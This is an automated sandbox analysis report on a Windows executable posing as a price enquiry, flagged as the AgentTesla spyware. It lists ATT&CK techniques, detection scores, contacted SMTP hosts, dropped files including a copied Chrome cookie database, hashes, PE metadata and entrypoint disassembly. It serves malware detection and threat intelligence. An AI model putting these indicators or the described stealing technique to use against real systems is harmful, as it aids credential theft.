Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Path Interception	Access Token Manipulation1	Disable or Modify Tools11	OS Credential Dumping2	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Process Injection112	Deobfuscate/Decode Files or Information11	Input Capture1	File and Directory Discovery2	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Credentials in Registry1	System Information Discovery127	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing31	NTDS	Security Software Discovery131	Distributed Component Object Model	Input Capture1	Scheduled Transfer	Non-Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading1	LSA Secrets	Process Discovery2	SSH	Clipboard Data1	Data Transfer Size Limits	Application Layer Protocol11	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion131	Cached Domain Credentials	Virtualization/Sandbox Evasion131	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Access Token Manipulation1	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection112	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Price enquiry for test machine.exe	26%	Virustotal		Browse
Price enquiry for test machine.exe	24%	ReversingLabs	Win32.Trojan.AgentTesla
Price enquiry for test machine.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.Price enquiry for test machine.exe.4980000.4.unpack	100%	Avira	TR/Spy.Gen8	Download File
1.2.Price enquiry for test machine.exe.400000.1.unpack	100%	Avira	TR/Spy.Gen8	Download File
0.0.Price enquiry for test machine.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
1.1.Price enquiry for test machine.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
1.0.Price enquiry for test machine.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
0.2.Price enquiry for test machine.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://fFlwaf.com	0%	Avira URL Cloud	safe
https://8CVKb4wLGkADrnEe6T.org	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
us2.smtp.mailhostbox.com	208.91.198.143	true	false		high
smtp.seredebe.com	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	Price enquiry for test machine.exe, 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	Price enquiry for test machine.exe, 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://fFlwaf.com	Price enquiry for test machine.exe, 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	Price enquiry for test machine.exe	false		high
http://nsis.sf.net/NSIS_ErrorError	Price enquiry for test machine.exe	false		high
https://8CVKb4wLGkADrnEe6T.org	Price enquiry for test machine.exe, 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	Price enquiry for test machine.exe, 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	Price enquiry for test machine.exe	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.91.198.143	us2.smtp.mailhostbox.com	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	false
208.91.199.223	unknown	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	502599
Start date:	14.10.2021
Start time:	05:38:23
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Price enquiry for test machine.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/3@3/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 50.2% (good quality ratio 46.6%) Quality average: 78.3% Quality standard deviation: 30.4%
HCA Information:	Successful, ratio: 85% Number of executed functions: 225 Number of non-executed functions: 50
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.82.210.154, 20.54.110.249, 40.112.88.60, 52.251.79.25, 2.20.178.10, 2.20.178.56, 20.199.120.85, 2.20.178.24, 2.20.178.33, 20.50.102.62, 20.199.120.151 Excluded domains from analysis (whitelisted): client.wns.windows.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, wu-shim.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-useast.md.mp.microsoft.com.akadns.net, eus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, arc.msn.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, wns.notify.trafficmanager.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, displaycatalog-rp-useast.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:39:25	API Interceptor	934x Sleep call for process: Price enquiry for test machine.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
208.91.198.143	AWB # 2617429350,pdf.exe	Get hash	malicious	Browse
	HSBc20210216B1.exe	Get hash	malicious	Browse
	Revise Contract Doc.exe	Get hash	malicious	Browse
	New Order Inquiry No.96883,pdf.exe	Get hash	malicious	Browse
	Payment copy-#U4fe1#U606f#U66f4#U65b01012 #U5927#U91d1#U66ff#U4ee3#U6599#U4e8b#U5b9c.exe	Get hash	malicious	Browse
	commercialJ-80-PM-MRQ-4025-6901.pdf.exe	Get hash	malicious	Browse
	W7TWTESMVcMRskK.exe	Get hash	malicious	Browse
	0438,pdf.exe	Get hash	malicious	Browse
	SH_062847193.exe	Get hash	malicious	Browse
	SOA.exe	Get hash	malicious	Browse
	REVISED PI 7-10-2021.xlsx	Get hash	malicious	Browse
	RFQ_99705546,99805546_Mark Cansick.exe	Get hash	malicious	Browse
	PI HYTEK.exe	Get hash	malicious	Browse
	lhkNtB9ssK.exe	Get hash	malicious	Browse
	tt62yVcIZ38yaYi.exe	Get hash	malicious	Browse
	#Uc740#Ud589 #Uc138#Ubd80#Uc815#Ubcf4 #Ud655#Uc778.exe	Get hash	malicious	Browse
	QuotationOrders00152667.exe	Get hash	malicious	Browse
	#U8d2d#U4e70DHL_119040#U6536#U636e#Uff0cpdf.exe	Get hash	malicious	Browse
	Purchase Order PO-1254.exe	Get hash	malicious	Browse
	swift_copy_pdf.exe	Get hash	malicious	Browse
208.91.199.223	AWB # 2617429350,pdf.exe	Get hash	malicious	Browse
	Paramount Order nr. 763ES.exe	Get hash	malicious	Browse
	INQUIRY CONFIRMATION LIST.exe	Get hash	malicious	Browse
	PO#1135 - #U88d5#U5049.exe	Get hash	malicious	Browse
	AWB 020008166005.exe	Get hash	malicious	Browse
	New Order Inquiry No.96883,pdf.exe	Get hash	malicious	Browse
	Nota de pago.exe	Get hash	malicious	Browse
	New Order Inquiry No.96883,pdf.exe	Get hash	malicious	Browse
	Payment copy-#U4fe1#U606f#U66f4#U65b01012 #U5927#U91d1#U66ff#U4ee3#U6599#U4e8b#U5b9c.exe	Get hash	malicious	Browse
	AWB 020007166005.exe	Get hash	malicious	Browse
	AWB 2617429350,pdf.exe	Get hash	malicious	Browse
	0438,pdf.exe	Get hash	malicious	Browse
	deposit slip.exe	Get hash	malicious	Browse
	PI HYTEK.exe	Get hash	malicious	Browse
	kifUkqlgsA.exe	Get hash	malicious	Browse
	Aviso de pago.exe	Get hash	malicious	Browse
	TRANSFER_REQUEST_FORM.exe	Get hash	malicious	Browse
	file data_pdf.exe	Get hash	malicious	Browse
	RFQ_99705546,99805546_Mark Cansick & Company.exe	Get hash	malicious	Browse
	WaybillDoc_7807431483.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
us2.smtp.mailhostbox.com	copia de pago_pdf___________________________.exe	Get hash	malicious	Browse	208.91.199.225
	Kd29Pu4e8yObdUv.exe	Get hash	malicious	Browse	208.91.198.143
	New order6534231_Xls.exe	Get hash	malicious	Browse	208.91.199.224
	AWB # 2617429350,pdf.exe	Get hash	malicious	Browse	208.91.198.143
	E-Remittance Copy.exe	Get hash	malicious	Browse	208.91.199.223
	Paramount Order nr. 763ES.exe	Get hash	malicious	Browse	208.91.199.223
	INQUIRY CONFIRMATION LIST.exe	Get hash	malicious	Browse	208.91.199.223
	PO#1135 - #U88d5#U5049.exe	Get hash	malicious	Browse	208.91.199.225
	Payment Advice.exe	Get hash	malicious	Browse	208.91.199.224
	AWB 020008166005.exe	Get hash	malicious	Browse	208.91.199.223
	New Order Inquiry No.96883,pdf.exe	Get hash	malicious	Browse	208.91.199.223
	HSBc20210216B1.exe	Get hash	malicious	Browse	208.91.198.143
	Purchase order 4102543264.exe	Get hash	malicious	Browse	208.91.199.223
	TNT shipments.exe	Get hash	malicious	Browse	208.91.199.224
	Revise Contract Doc.exe	Get hash	malicious	Browse	208.91.198.143
	DHL-Waybill-Copy.exe	Get hash	malicious	Browse	208.91.199.225
	MBL CD970010923 pdf.exe	Get hash	malicious	Browse	208.91.199.224
	Nota de pago.exe	Get hash	malicious	Browse	208.91.199.223
	New Order Inquiry No.96883,pdf.exe	Get hash	malicious	Browse	208.91.198.143
	Payment copy-#U4fe1#U606f#U66f4#U65b01012 #U5927#U91d1#U66ff#U4ee3#U6599#U4e8b#U5b9c.exe	Get hash	malicious	Browse	208.91.198.143

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	56460021473877.exe	Get hash	malicious	Browse	216.10.241.4
	copia de pago_pdf___________________________.exe	Get hash	malicious	Browse	208.91.199.225
	New order6534231_Xls.exe	Get hash	malicious	Browse	208.91.199.224
	AWB # 2617429350,pdf.exe	Get hash	malicious	Browse	208.91.199.224
	Purchase_Order 1527.xls	Get hash	malicious	Browse	103.53.40.91
	Paramount Order nr. 763ES.exe	Get hash	malicious	Browse	208.91.199.223
	INQUIRY CONFIRMATION LIST.exe	Get hash	malicious	Browse	208.91.199.223
	PO#1135 - #U88d5#U5049.exe	Get hash	malicious	Browse	208.91.199.223
	Payment Advice.exe	Get hash	malicious	Browse	208.91.199.224
	AWB 020008166005.exe	Get hash	malicious	Browse	208.91.199.223
	New Order Inquiry No.96883,pdf.exe	Get hash	malicious	Browse	208.91.199.224
	HSBc20210216B1.exe	Get hash	malicious	Browse	208.91.198.143
	Revise Contract Doc.exe	Get hash	malicious	Browse	208.91.199.224
	Nota de pago.exe	Get hash	malicious	Browse	208.91.199.223
	New Order Inquiry No.96883,pdf.exe	Get hash	malicious	Browse	208.91.199.224
	Payment copy-#U4fe1#U606f#U66f4#U65b01012 #U5927#U91d1#U66ff#U4ee3#U6599#U4e8b#U5b9c.exe	Get hash	malicious	Browse	208.91.199.223
	commercialJ-80-PM-MRQ-4025-6901.pdf.exe	Get hash	malicious	Browse	208.91.198.143
	W7TWTESMVcMRskK.exe	Get hash	malicious	Browse	208.91.198.143
	swift code.exe	Get hash	malicious	Browse	208.91.199.224
	AWB 020007166005.exe	Get hash	malicious	Browse	208.91.199.223
PUBLIC-DOMAIN-REGISTRYUS	56460021473877.exe	Get hash	malicious	Browse	216.10.241.4
	copia de pago_pdf___________________________.exe	Get hash	malicious	Browse	208.91.199.225
	New order6534231_Xls.exe	Get hash	malicious	Browse	208.91.199.224
	AWB # 2617429350,pdf.exe	Get hash	malicious	Browse	208.91.199.224
	Purchase_Order 1527.xls	Get hash	malicious	Browse	103.53.40.91
	Paramount Order nr. 763ES.exe	Get hash	malicious	Browse	208.91.199.223
	INQUIRY CONFIRMATION LIST.exe	Get hash	malicious	Browse	208.91.199.223
	PO#1135 - #U88d5#U5049.exe	Get hash	malicious	Browse	208.91.199.223
	Payment Advice.exe	Get hash	malicious	Browse	208.91.199.224
	AWB 020008166005.exe	Get hash	malicious	Browse	208.91.199.223
	New Order Inquiry No.96883,pdf.exe	Get hash	malicious	Browse	208.91.199.224
	HSBc20210216B1.exe	Get hash	malicious	Browse	208.91.198.143
	Revise Contract Doc.exe	Get hash	malicious	Browse	208.91.199.224
	Nota de pago.exe	Get hash	malicious	Browse	208.91.199.223
	New Order Inquiry No.96883,pdf.exe	Get hash	malicious	Browse	208.91.199.224
	Payment copy-#U4fe1#U606f#U66f4#U65b01012 #U5927#U91d1#U66ff#U4ee3#U6599#U4e8b#U5b9c.exe	Get hash	malicious	Browse	208.91.199.223
	commercialJ-80-PM-MRQ-4025-6901.pdf.exe	Get hash	malicious	Browse	208.91.198.143
	W7TWTESMVcMRskK.exe	Get hash	malicious	Browse	208.91.198.143
	swift code.exe	Get hash	malicious	Browse	208.91.199.224
	AWB 020007166005.exe	Get hash	malicious	Browse	208.91.199.223

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nslB4AA.tmp\hjoxggvy.dll Download File
Process:	C:\Users\user\Desktop\Price enquiry for test machine.exe
File Type:	PE32 executable (DLL) (native) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	6.390705865449434
Encrypted:	false
SSDEEP:	384:xreEw0ZDTSa9zQf+Lx3tJnZBovNNgNZejA4/l98M3ZsazYfVt5vTjGWBtMqg:7wASaRDx3DnGNigwM37zIVz+gM
MD5:	A263A29A46F55EB90AFFE87AE3CF25E1
SHA1:	E837B89499AE6512519B334A6155E75BAF7BFBDB
SHA-256:	E721FFAD541C0DB7ADA03E17959102274A650D452CC5441FD37EA20F4106F8B4
SHA-512:	E0C352A5CD841CDC0389555EF1CD7196291C5C6E05721C6C8C108033B295438AB07F057B25CC864E60598480B2CB1F70E6A2FAF4DD0126CB4F1630AD50DF36F2
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........'...F...F...F..&Y...F..MZ...F...-...F...F...F...3...F...3...F...30..F...3...F..Rich.F..........PE..L...P.ga...........!.....2...,...............P.......................................{....@..........................U..H...$W..................................(....U...............................................P..X............................text....0.......2.................. ..`.rdata.......P.......6..............@..@.data........`.......F..............@....rsrc................^..............@..B.reloc..(............`..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pf1ok0ocyqhw76ntdmvk Download File
Process:	C:\Users\user\Desktop\Price enquiry for test machine.exe
File Type:	data
Category:	dropped
Size (bytes):	291839
Entropy (8bit):	7.964335338677046
Encrypted:	false
SSDEEP:	6144:OnO6sCblC5tsvKaNsU0hKdPjbno2X9SS5lCdy51qDA27+w/6s91Bs0:EH5CX+n0hw3o2YS5l3bqR7l6s91G0
MD5:	0CF1DFFFFF90903C87A9CC0D5730764F
SHA1:	823EF1E0BB08C6FB895685C8AC2A700A2EFBC78F
SHA-256:	DDD23CAA99E4B0020B51303E3EAEEF15DDC47B990289C06829C308C152E3D3D6
SHA-512:	7CD33A89A07C662F55EE52084C9100D8C9E33E746E11F0815BD5A6C3360883A359FBD4DF7FE48904DCCB45A6E493B7242F9F3E4A87595AFB7F11703FF7FBD2E5
Malicious:	false
Reputation:	low
Preview:	.]=.;.B.F.6.&ki.7.[...[(..a1.a38..H..i[.^.5...1jgv.zyI.s..0..5..P....!...#....f.O(..m.C}...i.Vw...!A.Jl&g.:.j.dH......@.3'>s......g/M.B. U1Kp0.u.........d.....k.\..i..$....._..#~...]W....ku8.'`...!F....Fl7.d..-.......>...e.......&-;.j......w`...L...B..6{..i...<....(...1..i.3.H..i[1:.5.N.1jg,.z0I.0.e0......E3E.t.5.Y1~...7Y.....#..#....S...>..q.l..W..-k.....@.z-b..F...'.=/./.a.J..5.'.8...R.`.....F.....?....s)S..h..H.bI..c.%.W.#...<m..Og.&.....LJ.h.Ct..^sN.....P...H7;......w`.e....B..k.6Y.ki.Y.[.....(..a1.a38..c..G"...$5..@1jg..z.I.08.0.....@E3..1t.5....U..7Y..0..#.b#......).>....q.l..?f...h.4.@.)-b..v..I..../.M..Lb5.'.8..).......R"...d?.+6...S..h..H.bI..c..%.W.#...<m. .g.&.....LJ.h.St.<.^sN.....P...H7;......w`...L...B.AF.6Y.ki.7.[....(..a1.a38..H..i[.^.5...1jgv.zyI.0..0.....@E3..1t.5.Y.~...7Y.....#..#...S.).>....q.l..Wf.-k.....@.z-b..F..In.././.M..Lb5.'.8...R.`.....F.....?.(...s)S..h..H.bI..c.%.W.#...<m. .g.&.....LJ.h.St.<.^s

C:\Users\user\AppData\Roaming\ff3jhzsj.yhh\Chrome\Default\Cookies Download File
Process:	C:\Users\user\Desktop\Price enquiry for test machine.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6970840431455908
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0
MD5:	00681D89EDDB6AD25E6F4BD2E66C61C6
SHA1:	14B2FBFB460816155190377BBC66AB5D2A15F7AB
SHA-256:	8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
SHA-512:	159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.378823325082867
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Price enquiry for test machine.exe
File size:	488692
MD5:	c7564ca82a81b09c5d401918fda024c2
SHA1:	ef07d5e0c6f49aa75a63108ec655860da6591a6a
SHA256:	f9db35de0ae4c59df7d3ef7525cc111b55e9304cf8d61714d69378aa201acd7f
SHA512:	d3e3b5e55463af3f9d63d400e8c35778b7382a1cf6a2203f089e7217ffbf74a046bac0cbae8cb9ce0fde1a5a1980438a0616db982b77f1e2ab31773fd0cae766
SSDEEP:	12288:h6xm6LgIEsoexmYCk2Y6omnqp3p16iKEEaH9GNoY:SgICzYCZN6v6iZZ9Yb
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0(..QF..QF..QF.^...QF..QG.qQF.^...QF..rv..QF..W@..QF.Rich.QF.........PE..L...e:.V.................\...........0.......p....@

File Icon


Icon Hash:	c8e4e4ecd8d8f0f0

Static PE Info

General
Entrypoint:	0x4030fb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x56FF3A65 [Sat Apr 2 03:20:05 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b76363e9cb88bf9390860da8e50999d2

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+20h], ebx
mov dword ptr [esp+14h], 00409168h
mov dword ptr [esp+1Ch], ebx
mov byte ptr [esp+18h], 00000020h
call dword ptr [004070B0h]
call dword ptr [004070ACh]
cmp ax, 00000006h
je 00007F9BF8B2D1D3h
push ebx
call 00007F9BF8B2FFB4h
cmp eax, ebx
je 00007F9BF8B2D1C9h
push 00000C00h
call eax
mov esi, 00407280h
push esi
call 00007F9BF8B2FF30h
push esi
call dword ptr [00407108h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F9BF8B2D1ADh
push 0000000Dh
call 00007F9BF8B2FF88h
push 0000000Bh
call 00007F9BF8B2FF81h
mov dword ptr [00423F44h], eax
call dword ptr [00407038h]
push ebx
call dword ptr [0040726Ch]
mov dword ptr [00423FF8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041F4F0h
call dword ptr [0040715Ch]
push 0040915Ch
push 00423740h
call 00007F9BF8B2FBB4h
call dword ptr [0040710Ch]
mov ebp, 0042A000h
push eax
push ebp
call 00007F9BF8B2FBA2h
push ebx
call dword ptr [00407144h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7418	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2d000	0x334c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x27c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5aeb	0x5c00	False	0.665123980978	data	6.42230569414	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1196	0x1200	False	0.458984375	data	5.20291736659	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1b038	0x600	False	0.432291666667	data	4.0475118296	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x25000	0x8000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2d000	0x334c8	0x33600	False	0.439700235706	data	6.21032931548	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2d310	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0	English	United States
RT_ICON	0x3db38	0xb41c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x48f58	0x94a8	data	English	United States
RT_ICON	0x52400	0x5488	data	English	United States
RT_ICON	0x57888	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 254, next used block 2130706432	English	United States
RT_ICON	0x5bab0	0x25a8	data	English	United States
RT_ICON	0x5e058	0x10a8	data	English	United States
RT_ICON	0x5f100	0x988	data	English	United States
RT_ICON	0x5fa88	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_DIALOG	0x5fef0	0x100	data	English	United States
RT_DIALOG	0x5fff0	0x11c	data	English	United States
RT_DIALOG	0x60110	0x60	data	English	United States
RT_GROUP_ICON	0x60170	0x84	data	English	United States
RT_MANIFEST	0x601f8	0x2cc	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	GetTickCount, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, SetFileAttributesA, CompareFileTime, SearchPathA, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, GetWindowsDirectoryA, GetTempPathA, Sleep, lstrcmpiA, GetVersion, SetErrorMode, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, lstrcatA, GetSystemDirectoryA, WaitForSingleObject, SetFileTime, CloseHandle, GlobalFree, lstrcmpA, ExpandEnvironmentStringsA, GetExitCodeProcess, GlobalAlloc, lstrlenA, GetCommandLineA, GetProcAddress, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, ReadFile, FindClose, GetPrivateProfileStringA, WritePrivateProfileStringA, WriteFile, MulDiv, MultiByteToWideChar, LoadLibraryExA, GetModuleHandleA, FreeLibrary
